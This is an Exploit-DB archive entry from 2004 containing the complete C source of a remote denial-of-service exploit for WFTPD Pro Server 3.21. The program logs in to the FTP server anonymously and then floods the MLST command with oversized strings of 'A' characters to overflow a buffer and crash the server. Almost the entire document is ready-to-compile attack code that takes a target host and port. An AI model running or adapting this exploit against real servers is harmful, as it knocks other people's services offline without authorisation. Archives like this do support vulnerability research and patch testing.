Exploit-DB #427
Description: WFTPD Pro Server 3.21 - MLST Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-08-31
Author: lion

Exploit:
/*
*-----------------------------------------------------------------------
* 
* wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*             : lion cnhonker net
*             : www cnhonker com
* Date     : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h> 

#pragma comment(lib, "ws2_32.lib")

#define FTPPORT      21
#define BUFFSIZE     204800
#define OVERFLOWSIZE 220
#define SIZE         2048      

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
    WSADATA wsa;
    unsigned short    port;
    unsigned long     ip;
    char user[32] = "anonymous";
    char pass[32] = "anonymous";
    int i;
    
    char *command = "MLST ";

    SOCKET s;
    int size = OVERFLOWSIZE;

    printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
        printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

    if(argc < 3)
    {
        printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
        return;
    }
    
    WSAStartup(MAKEWORD(2,2),&wsa);

    if((s=create_socket())==0) 
    {
        printf("[-] ERROR: Create socket failed.\r\n");
        return;
    }
      
    if(!client_connect(s, argv[1], atoi(argv[2])))
        exit(-1);
    
    loginftp(s, user, pass);
    
    memset(sendbuf, 0 ,BUFFSIZE);
    memcpy(sendbuf, "pasv\r\n", 6);
    writebuf("Send pasv", s, sendbuf, 6);
    readbuf("read", s, recvbuf, BUFFSIZE);
    
    for(i=0;i<60;i++,size++)
    {
        memset(sendbuf, 0, BUFFSIZE);
        memset(sendbuf, 'A', size);
        memcpy(sendbuf, command, strlen(command));
        sendbuf[size-2] ='\r';
        sendbuf[size-1] ='\n';
        
        printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
        show=1;
        writebuf("Send overflow buff", s, sendbuf, size);
        readbuf("read", s, recvbuf, BUFFSIZE);
        Sleep(500);
    }
    
    //send QUIT
    memset(sendbuf,0, BUFFSIZE);
    sprintf(sendbuf, "%s\r\n", "QUIT");
    writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
    
    //show=1;
    //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);    
    //return;
        
    if(s)
        closesocket(s);
          
    WSACleanup();
}

int create_socket()
{  
    int sockfd;
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        printf("[-] Create socket error.\r\n");
        return(0);
    }
    
    return(sockfd);    
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if((host=gethostbyname(server))==NULL)
    {
        printf("[-] ERROR: gethostbyname(%s) error\n", server);
        return(-1);
    }      
    
    memset(&cliaddr, 0, sizeof(struct sockaddr));

    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
    printf("[+] Trying %s:%d......", server, port);
    fflush(stdout);

    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("FAILED!\r\n");
        closesocket(sockfd);
        return(-1);
    }

    printf("OK!\r\n");
    return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
    int j;

    if(s)
    {
        printf("[+] %s......", s);
        fflush(stdout);
    }    

    j=send(socket,buffer,len,0);
    if(j<=0)
    {
        printf("FAILED!\r\n");
            exit(-1);
    }    
    printf("OK!\r\n");
    return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
    int a,b,i,j=0;
    
    a=b=i=0;
    memset(buffer,0,len);

    if(s)
    {
        printf("[+] %s......", s);
        fflush(stdout);
    }

    j=recv(socket,buffer,len-1,0);
    if(j <= 0)
    {
        if(s) printf("FAILED!\n");
            printf("[-] Recv data error.\n");
        exit(-1);
    }    
        
    if(s) printf("OK!\n");

    buffer[len-1]='\0';

    if(show==1)  printf("<==\r\n%s<==\r\n",buffer);

    return j;
}

void checkstatus(char *s)
{
    if(s==NULL) exit(-1);
    if(isdigit(*s))
    {
        if(s[0]=='5')
        {    
            printf("[-] Server told:%s\n",s);
            exit(-1);
        }
        else return;
    }

    printf("[-] Server said:%s\n",s);
    exit(-1);
}

void loginftp(SOCKET sockfd, char *user, char *pass)
{
    int j;
    
    show=1;
    readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
    //show=0;

    //send USER username
    memset(sendbuf,0,BUFFSIZE);
    j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
    writebuf("Send USER", sockfd,sendbuf,j);
    readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
    checkstatus(recvbuf);

    //send PASS password
    memset(sendbuf,0,BUFFSIZE);
    j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
    writebuf("Send PASS", sockfd, sendbuf, j);
    readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
    checkstatus(recvbuf);
    printf("[+] User %s logged in.\r\n", user);
}

// milw0rm.com [2004-08-31]